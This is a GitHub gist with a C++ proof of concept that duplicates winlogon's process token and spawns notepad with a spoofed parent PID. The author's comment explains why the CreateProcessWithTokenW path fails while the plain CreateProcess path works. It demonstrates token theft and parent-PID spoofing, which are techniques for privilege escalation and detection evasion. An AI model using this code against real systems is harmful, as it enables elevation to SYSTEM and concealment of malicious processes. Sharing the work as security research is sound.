Skip to content

Instantly share code, notes, and snippets.

@robleh
Last active July 24, 2021 21:02
Show Gist options
  • Select an option

  • Save robleh/bb491ab4ce715f07238b7e136e59f2c8 to your computer and use it in GitHub Desktop.

Select an option

Save robleh/bb491ab4ce715f07238b7e136e59f2c8 to your computer and use it in GitHub Desktop.
Failed PoC attempt to spoof a parent PID and impersonate a process token.
#include <iostream>
#include <Windows.h>
int wmain(int argc, PWSTR argv[]) {
auto winlogon = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS, FALSE, 636); // replace pid
if (INVALID_HANDLE_VALUE == winlogon) {
std::wcout << L"Failed to acquire winlogon handle: " << GetLastError();
return 1;
}
else {
std::wcout << L"winlogon handle: " << winlogon << '\n';
}
HANDLE token{};
if (!::OpenProcessToken(winlogon, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &token)) {
std::wcout << L"Failed to acquire winlogon token handle: " << GetLastError();
return 1;
}
else {
std::wcout << L"winlogon token handle: " << token << '\n';
}
HANDLE dupToken{};
if (!::DuplicateTokenEx(token, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenPrimary, &dupToken)) {
std::wcout << L"Failed to duplicate token: " << GetLastError();
return 1;
}
else {
std::wcout << L"duplicate token handle: " << dupToken << '\n';
}
SIZE_T size{};
::InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
if (122 != GetLastError()) {
std::wcout << L"Unable to determine sized needed for thread attribute list";
return 1;
}
PPROC_THREAD_ATTRIBUTE_LIST attlist = nullptr;
attlist = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(size);
if (!::InitializeProcThreadAttributeList(
attlist,
1,
0,
&size
)) {
std::wcout << L"Failed to initialize thread attribute list: " << GetLastError();
return 1;
}
else {
std::wcout << L"procthreadattributelist initialized" << '\n';
}
if (!::UpdateProcThreadAttribute(
attlist,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&winlogon,
sizeof(winlogon),
nullptr,
nullptr
)) {
std::wcout << L"Failed to update proc thread attribute: " << GetLastError() << '\n';
return 1;
}
else {
std::wcout << L"updated parent process attribute" << '\n';
}
STARTUPINFOEXW siEx{ };
siEx.StartupInfo.cb = sizeof(STARTUPINFOEX);
siEx.lpAttributeList = attlist;
PROCESS_INFORMATION pi{ };
WCHAR name[] = L"notepad";
/*
if (!::CreateProcess(
nullptr,
name,
nullptr,
nullptr,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
// 0,
nullptr,
nullptr,
(STARTUPINFO*)&siEx,
&pi
)) {
std::wcout << L"Failed to create process: " << GetLastError();
return 1;
}
*/
if (!::CreateProcessWithTokenW(
dupToken,
LOGON_WITH_PROFILE,
nullptr,
name,
EXTENDED_STARTUPINFO_PRESENT,
nullptr,
nullptr,
(STARTUPINFO*)&siEx,
&pi
)){
std::wcout << L"Failed to create process with duplicated token and spoofed parent: " << GetLastError();
return 1;
}
else {
std::wcout << L"Notepad with duplicated token and spoofed parent spawned: " << pi.dwProcessId << '\n';
}
::CloseHandle(winlogon);
::CloseHandle(token);
::CloseHandle(dupToken);
::CloseHandle(pi.hProcess);
::CloseHandle(pi.hThread);
::DeleteProcThreadAttributeList(attlist);
free(attlist);
return 0;
}
@robleh
Copy link
Author

robleh commented Jul 24, 2021

CreateProcessWithTokenW fails with error 87, invalid parameter whereas CreateProcess works just fine. Which makes sense because according to MSFT using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS inherits the parent process' token:

Attributes inherited from the specified process include handles, the device map, processor affinity, priority, quotas, the process token, and job object.

So PROC_THREAD_ATTRIBUTE_PARENT_PROCESS is indeed an invalid parameter for the WithToken flavor of CreateProcess. Hopefully this saves someone, somewhere, some time.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment